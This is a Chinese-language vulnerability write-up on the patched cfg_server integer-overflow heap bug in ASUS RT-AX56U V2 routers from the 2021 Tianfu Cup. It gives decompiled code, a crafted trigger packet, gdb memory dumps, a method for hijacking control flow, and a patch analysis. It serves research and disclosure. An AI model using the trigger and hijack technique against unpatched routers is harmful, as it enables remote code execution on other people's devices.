前言
2021
年天府杯破解大赛的设备类项目包含群晖和华硕两个项目,其中,群晖设备(DS220j
)暂时无选手攻破,而华硕设备(RT-AX56U V2/热血版
)则被两队选手成功拿下。笔者在前期主要关注群晖设备,也顺带看了下华硕设备,虽然发现了其他的小问题,但是未发现这个整数溢出漏洞 。目前华硕官方已发布对应的补丁,网上也有其他师傅对这个漏洞进行了详细的分析,感兴趣地可以看看 “天府杯华硕会战的围剿与反围剿” 和 “Tianfu Cup 2021 RT-AX56U RCE”。参考上面两篇文章,下文将对漏洞进行分析,并重点关注漏洞的利用思路。
环境准备
华硕RT-AX56U
型号设备有两个版本:RT-AX56U
和RT-AX56U V2/热血版
,这两个版本的设备固件大体上相似,存在些许差异。该漏洞在这两个版本中均存在,由于手边有一个RT-AX56U V2
型号的真实设备,故这里基于RT-AX56U_V2 3.0.0.4.386_45898
固件版本进行分析。
RT-AX56U
对应的固件名称为”FW_RT_AX56U_xxxxxx”,RT-AX56U V2/热血版
对应的固件名称为”FW_RT_AX55_xxxxxxs”。从官方下载链接来看,RT-AX56U
对应的历史固件比较多,因此也可以基于该版本进行分析。
该设备支持Telnet
和SSH
功能,开启Telnet
后登录到设备,即可获取设备的root shell
,便于后续的分析和调试。
华硕路由器固件遵循GPL
协议,在网上可以搜索到相关代码。其中,asuswrt-merlin项目中的一些源码与华硕路由器固件中的部分代码对应,值得借鉴参考。
漏洞分析
设备上开放的部分端口信息如下。其中,cfg_server
进程监听7788/tcp
和7788/udp
端口,而漏洞就存在于该进程中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| # netstat -tulnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:5152 0.0.0.0:* LISTEN 362/envrams tcp 0 0 0.0.0.0:18017 0.0.0.0:* LISTEN 1131/wanduck tcp 0 0 0.0.0.0:46340 0.0.0.0:* LISTEN 1301/miniupnpd tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN 1331/cfg_server # <=== tcp 0 0 192.168.1.1:80 0.0.0.0:* LISTEN 1222/httpd udp 0 0 192.168.1.1:52738 0.0.0.0:* 1301/miniupnpd udp 0 0 0.0.0.0:9999 0.0.0.0:* 1223/infosvr udp 0 0 0.0.0.0:18018 0.0.0.0:* 1131/wanduck udp 0 0 0.0.0.0:7788 0.0.0.0:* 1331/cfg_server # <=== udp 0 0 0.0.0.0:1900 0.0.0.0:* 1301/miniupnpd udp 0 0 0.0.0.0:59000 0.0.0.0:* 1159/eapd udp 0 0 192.168.1.1:5351 0.0.0.0:* 1301/miniupnpd
|
使用IDA
对该程序进行分析,在cm_rcvTcpHandler()
中,会调用pthread_create()
创建一个新的线程来对连接进行处理。
1 2 3 4 5 6 7 8 9 10
| void cm_rcvTcpHandler(int a1) { v5 = accept(*(_DWORD *)(a1 + 12), &v14, &addr_len); if ( v5 >= 0 ) { *v2 = v5; if ( pthread_create(&newthread, (const pthread_attr_t *)attrp, (void *(*)(void *))cm_tcpPacketHandler, v2) ) {
|
在cm_tcpPacketHandler()
中,调用read_tcp_message()
读取socket
数据之后,再调用cm_packetProcess()
进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int cm_tcpPacketHandler(int *a1) { if ( v20[0] ) { while ( 1 ) { memset(v21, 0, 0x4000u); v10 = read_tcp_message(v2, v21, 0x4000u); if ( v10 <= 0 ) break; if ( cm_packetProcess(v2, v21, v10, (int)v19, (int)v20, (int)&cm_ctrlBlock, (int)v18) == 1 )
|
在cm_packetProcess()
中,其主要功能是根据接收数据的前4
个字节的内容,在packetHandlers
中匹配对应的opcode
,匹配成功的话则调用对应的处理函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| int cm_packetProcess(int a1, unsigned int *a2, unsigned int a3, int a4, int a5, int a6, int a7) { v7 = a2; while ( 2 ) { if ( v14 >= (int)a3 ) return 0; v15 = v14 + 12; if ( v15 <= a3 ) { v19 = *v7; v20 = v7[1]; v21 = v7 + 3; v46 = v19; v47 = v20; v48 = *(v21 - 1); v22 = v19; v24 = bswap32(v22); v28 = 0; while ( 1 ) { v29 = &packetHandlers[v28]; v30 = packetHandlers[v28]; if ( v30 <= 0 ) break; v28 += 2; if ( v30 == v24 ) goto LABEL_27; } if ( *v29 < 0 ) { } else { LABEL_27: if ( !((int (__fastcall *)(int, int, unsigned int, unsigned int, int, int, unsigned int *, int, int))v29[1])( a1, a6, v46, v47, v48, a7, v21, a4, a5) ) {
|
经过分析,接收的消息数据包的格式为类似TLV(type-length-value)
的格式,其中多了一个checksum
字段,如下。
1 2 3 4 5 6
| struct msg { uint32_t type; uint32_t length; uint32_t checksum; char* value; }
|
在packetHandlers
地址处包含的opcode
与function pointer
的示例如下。通过指定数据包中的type
字段,即可调用packetHandlers
中对应的处理函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| .data:000AE4A4 packetHandlers DCD 1 ; DATA XREF: LOAD:00011820↑o .data:000AE4A4 ; cm_packetProcess+2F8↑o ... .data:000AE4A8 DCD cm_processREQ_KU .data:000AE4AC DCD 3 .data:000AE4B0 DCD cm_processREQ_NC .data:000AE4B4 DCD 5 .data:000AE4B8 DCD cm_processREP_OK .data:000AE4BC DCD 8 .data:000AE4C0 DCD cm_processREQ_CHK .data:000AE4C4 DCD 0xA .data:000AE4C8 DCD cm_processACK_CHK ; ... .data:000AE51C DCD 0x28 .data:000AE520 DCD cm_processREQ_GROUPID .data:000AE524 DCD 0x2A .data:000AE528 DCD cm_processACK_GROUPID ; ... .data:000AE55C DCD 0x3B .data:000AE560 DCD cm_processREQ_LEVEL .data:000AE564 DCD 0xFFFFFFFF
|
通过对上述处理函数进行分析,发现大多数函数都会先对value
部分的内容进行AES
解密,然后再对解密后的内容进行处理,而漏洞就存在于AES
解密的过程中。以cm_processREQ_GROUPID()
为例,在(1)
处对checksum
进行校验,通过后在(2)
处会调用aes_decrypt()
对数据进行解密。在aes_decrypt()
中,在(3)
处计算EVP_CIPHER_CTX_block_size(ctx) + tlv_length
,然后将其传入malloc()
中。由于未对tlv_length
的值进行校验,当伪造tlv_length=0xfffffffa
时,在(3)
处会出现整数溢出,使得malloc()
申请一块很小的内存,造成后续在循环调用EVP_DecryptUpdate()
往该内存中写数据时出现堆溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| int cm_processREQ_GROUPID(int sock_fd, int cm_ctrlblock_ptr, int tlv_type, unsigned int tlv_length, unsigned int crc_checksum, int a6, int tlv_value_ptr) { v11 = get_onboarding_key(); if ( v11 ) { v15 = bswap32(tlv_length); if ( calc_checksum(0, (char *)tlv_value_ptr, v15) != bswap32(crc_checksum) ) { } v22 = aes_decrypt((int)v11, tlv_value_ptr, v15, &v42);
char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen) { out_len[0] = 0; ctx = EVP_CIPHER_CTX_new(); cipher = EVP_aes_256_ecb(); v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0); if ( v10 ) { *decodeMsgLen = 0; v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; v12 = malloc(v11); v10 = v12; if ( v12 ) { memset(v12, 0, v11); out = (int)v10; for ( i = tlv_length; ; i -= 16 ) { in = tlv_value_ptr + tlv_length - i; if ( i <= 0x10 ) break; if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) { printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795); EVP_CIPHER_CTX_free(ctx); free(v10); return 0; } out += out_len[0]; *decodeMsgLen += out_len[0]; }
|
因此,通过构造类似如下的数据,即可触发漏洞。其中,设置checksum=0
即可,因为在calc_checksum()
中,当tlv_length=0xfffffffa
时,由于条件不成立会直接返回,计算的结果为0
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| tlv = p32(0x28, ">") tlv += p32(0xfffffffa, ">") tlv += p32(0) tlv += 'a' * 0x10
""" unsigned int calc_checksum(unsigned int result, char *tlv_value_ptr, int tlv_length) { char v3; // t1
while ( --tlv_length >= 0 ) // condition fail if tlv_length is negative { v3 = *tlv_value_ptr++; result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8); } return result; } """
|
漏洞利用
如前所述,在packetHandlers
地址处包含的处理函数中,很多都会调用cm_aesDecryptMsg()
或aes_decrypt()
对value
部分的内容进行解密。经过测试,似乎只有函数cm_processREQ_GROUPID()
和cm_processACK_GROUPID()
可以无条件触发,其他函数会依赖sessionKey
来对数据进行解密或者路径上的某个条件不满足,造成无法触发漏洞。因此,这里选择通过cm_processREQ_GROUPID()
来触发漏洞。
sessionKey
的部分内容无法事先获取
漏洞的原理和触发很简单,但是该如何进行漏洞利用呢?根据之前的分析,漏洞是由于整数溢出造成的堆溢出,假设tlv_length=0xfffffffa
,后续在循环调用EVP_DecryptUpdate()
时会尝试写入长度为0xfffffffa
的数据,在这个过程中会出现非法内存发访问造成程序崩溃。因此,想要进行漏洞利用,最好是在调用EVP_DecryptUpdate()
或者EVP_CIPHER_CTX_free(ctx)
的过程中完成。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen) { ctx = EVP_CIPHER_CTX_new(); cipher = EVP_aes_256_ecb(); v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0); if ( v10 ) { *decodeMsgLen = 0; v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; v12 = malloc(v11); v10 = v12; if ( v12 ) { memset(v12, 0, v11); for ( i = tlv_length; ; i -= 16 ) { in = tlv_value_ptr + tlv_length - i; if ( i <= 0x10 ) break; if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) { printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795); EVP_CIPHER_CTX_free(ctx); <=== free(v10);
|
参考@CataLpa
师傅文章的思路,以EVP_DecryptUpdate()
为例,其部分示例代码如下。可以看到后续会调用*ctx+0x18
处的函数指针,如果能覆盖ctx
结构体中的cipher
指针(对应*ctx
),则有可能使程序流程执行到(6)
处,从而劫持程序的控制流。说明:在(6)
处,正常的流程是调用evp_EncryptDecryptUpdate()
,evp_EncryptDecryptUpdate()
中也存在类似调用*ctx+0x18
处的函数指针的代码。另外,如果能覆盖ctx
结构体中的cipher
指针,也可以使EVP_DecryptUpdate()
提前返回,然后调用EVP_CIPHER_CTX_free(ctx)
,思路类似。
/usr/lib/libcrypto.so.1.1
对应的OpenSSL
版本为 1.1.1k
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| bool EVP_DecryptUpdate(_DWORD *ctx, char *out, int *out_len, char *in, int in_len) { v5 = ctx[2]; v9 = *(_DWORD *)(*ctx + 4); v12 = *ctx; if ( (*(_DWORD *)(*ctx + 16) & 0x100000) == 0 ) { if ( (ctx[23] & 0x100) != 0 ) return evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len); v17 = ctx[25]; v5 = evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len); if ( v5 ) { if ( v9 <= 1 || ctx[3] ) { v19 = 0; ctx[25] = 0; } else { *out_len -= v9; ctx[25] = 1; memcpy(ctx + 27, &out[*out_len], v9); } if ( v17 ) v19 = *out_len; v5 = 1; if ( v17 ) *out_len = v19 + v9; } return v5; } if ( v9 == 1 ) { } LABEL_11: v13 = (*(int (_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len);
|
通过组合发送不同的请求,以及调整构造的数据包的内容,在一定情况下可以得到如下的内存布局,其中0xb6400a60
为ctx
结构体的指针,0xb6400a48
为malloc()
返回的地址。可以看到,确实可以通过覆盖ctx
结构体中cipher指针
(这里是0xb6ef6b1c
)的方式来劫持程序控制流,但问题是用什么地址来覆盖?需要有一块内容可控的地址。通过对cfg_server
的其他功能进行分析,暂时未找到对应的操作来实现向.data/.bss
等区域写入可控内容。因此,采用这种方式可能需要结合爆破或其他方法。
实际测试时,这种内存布局似乎也不是特别稳定 :(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| (gdb) c Continuing. [New Thread 19239.19346] 0xb6400a60, 0xb6400a48 ; 0xb6400a60: ctx_ptr, 0xb6400a48: return value of malloc() [Switching to Thread 19239.19346] => 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <EVP_DecryptUpdate@plt> 0x1da00 <aes_decrypt+264>: subs r3, r0, #0 0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328> 0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592>
Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt () (gdb) x/4wx 0xb6400a60 0xb6400a60: 0xb6ef6b1c 0x00000000 0x00000000 0x00000000 (gdb) x/20wx 0xb6400a48 0xb6400a48: 0x00000000 0x00000000 0x00000000 0x00000000 0xb6400a58: 0x00000000 0x00000095 0xb6ef6b1c 0x00000000 ; 覆盖0xb6ef6b1c为内容可控的地址 0xb6400a68: 0x00000000 0x00000000 0x00000000 0x00000000 0xb6400a78: 0x00000000 0x00000000 0x00000000 0x00000000 0xb6400a88: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/20wx 0xb6ef6b1c 0xb6ef6b1c: 0x000001aa 0x00000010 0x00000020 0x00000000 0xb6ef6b2c: 0x00001001 0xb6e27480 0xb6e27710 0x00000000 0xb6ef6b3c: 0x00000100 0x00000000 0x00000000 0x00000000 0xb6ef6b4c: 0x00000000 0x00000383 0x00000001 0x00000018 0xb6ef6b5c: 0x0000000c 0x00301c77 0xb6e28fac 0xb6e28b40
|
后来又请教了@Yimi Hu
师傅,学到了另一种更简单也更稳定的思路。假设还是尝试覆盖ctx
结构体中的cipher指针
,通过组合发送不同的请求,以及调整构造的数据包内容,可得到内存布局如下。测试发现,continue
后程序崩溃,PC
寄存器的内容似乎被覆盖了,但与发送的数据不一致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| (gdb) c Continuing. [New Thread 20697.23444] 0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc() [Switching to Thread 20697.23444] => 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <EVP_DecryptUpdate@plt> 0x1da00 <aes_decrypt+264>: subs r3, r0, #0 0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328> 0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592> Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt () (gdb) disable 1 (gdb) c Continuing. [New Thread 20697.23558] Thread 4 "cfg_server" received signal SIGSEGV, Segmentation fault. => 0x325e5d34: Error while running hook_stop: Cannot access memory at address 0x325e5d34 0x325e5d34 in ?? () (gdb) bt #0 0x325e5d34 in ?? () #1 0xb6e3f760 in ?? () from target:/usr/lib/libcrypto.so.1.1
|
查看崩溃处的代码,示例如下。可以看到,PC
寄存器(对应R3
寄存器)的值来自于*(v11+0xF8)
,而v11
来自于*(_DWORD *)(ctx + 96)
,即PC=*(*(_DWORD *)(ctx + 96)+0xF8)
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| int __fastcall do_cipher(int ctx, int out, int in, unsigned int inl) { v8 = EVP_CIPHER_CTX_block_size(ctx); v9 = EVP_CIPHER_CTX_get_cipher_data(ctx); if ( v8 <= inl ) { v10 = inl - v8; v11 = v9; v12 = in; do { v13 = v12; v12 += v8;
(*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11); out += v8; } while ( v10 >= v12 - in ); } return 1; }
int EVP_CIPHER_CTX_get_cipher_data(int ctx) { return *(_DWORD *)(ctx + 96); }
|
对应地址处的内容如下。可以发现,在尝试从地址0xb6600a48
溢出到0xb6602040
的过程中,已经能覆盖地址0xb6601380
处的内容了,即劫持了PC
寄存器,但PC
寄存器的值与预期(0x30303030
)不一致。通过查看解密的内容,发现从0xb6600fe8
开始,解密的内容与预期的就不一致了,猜测可能是在0xb6600fd8
处覆盖了和解密相关的数据如密钥。
1 2 3 4 5 6 7 8 9 10 11
| ;0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc() (gdb) x/4wx 0xb6602040+96 ; ctx + 96 0xb66020a0: 0xb6601288 0x00000001 0x0000000f 0xc53430e9 (gdb) x/4wx 0xb6601288+0xf8 ; v11 + 0xF8 0xb6601380: 0x325e5d36 0x571e1e57 0x00000000 0x00000031 (gdb) x/20wx 0xb6600fc8 0xb6600fc8: 0x30303030 0x30303030 0x30303030 0x30303030 0xb6600fd8: 0x30303030 0x30303030 0x30303030 0x30303030 0xb6600fe8: 0x8c8b045e 0xc7ea483a 0xa382ee1b 0xc3ad7553 ; 解密数据与预期不一致 0xb6600ff8: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7 0xb6601008: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7
|
解决的方式很简单,只要在发送的原始数据包中包含相应的内容,使得某些地址处覆盖前后的内容一致,即可保证解密后的数据和预期的一致。具体地,在(7)
处正常是调用AES_decrypt()
,第3
个参数即v11
为aes_key_st
结构体,其与解密密钥相关,因此需要保证0xb6601288
地址开始处的一段内容在覆盖前后保持不变。而上面提到的0xb6600fd8
地址处,也有一小部分数据*(暂时未理解其用途 )*会影响解密的结果,也需要保持不变。
不同的内存布局可能存在细微差异。经测试,上述内存布局比较稳定。
1 2 3 4 5 6 7 8
| void AES_decrypt(const unsigned char *in, unsigned char *out, const AES_KEY *key);
# define AES_MAXNR 14 struct aes_key_st { unsigned int rd_key[4 * (AES_MAXNR + 1)]; int rounds; }; typedef struct aes_key_st AES_KEY;
|
aes_key_st
结构体的原始内容可以dump
出来,或者参考AES_set_decrypt_key()
自行生成。
之后,即可在(7)
处正常劫持PC
,同时第一个参数指向用户发送的内容,很容易实现代码执行的目的。
补丁分析
在版本RT-AX56U_V2 3.0.0.4.386_49559
中,在cm_packetProcess()
中增加了对数据包中tlv_length
字段的校验,如下。可以看到,在开始部分,会先对接收数据包的长度recv_data_len
和数据包中的tlv_length
字段之间的关系进行校验。而在调用read_tcp_message()
读取数据包时,每次最多读取0x4000
字节,故该校验可保证tlv_length
字段的值不会太大,不会造成后续出现整数溢出问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int cm_packetProcess(int a1, unsigned int *recv_buf, unsigned int recv_data_len, int a4, int a5, int a6, int a7) { v7 = recv_buf; v14 = 0; while ( 2 ) { if ( v14 >= (int)recv_data_len ) return 0; v15 = v14 + 12; if ( v15 <= recv_data_len ) { v45 = *v7; v46 = v7[1]; v47 = v7[2]; if ( recv_data_len - 12 != bswap32(v46) ) { }
|
小结
本文基于RT-AX56U V2
型号设备,对2021
年天府杯破解大赛华硕设备中的漏洞进行了分析,并重点介绍了漏洞利用的思路。在尝试进行漏洞利用的过程中,一方面需要对目标设备的功能比较熟悉;另一方面,在没有思路的时候多尝试(如进行fuzz
)和多调试,可能会有意向不到的结果。另外,文章中给出的思路是基于@Yimi Hu
和@CataLpa
两位师傅的文章,实际比赛中采用的利用思路不得而知,再次感谢@Yimi Hu
和@CataLpa
的帮助。
相关链接
- 天府杯华硕会战的围剿与反围剿
- Tianfu Cup 2021 RT-AX56U RCE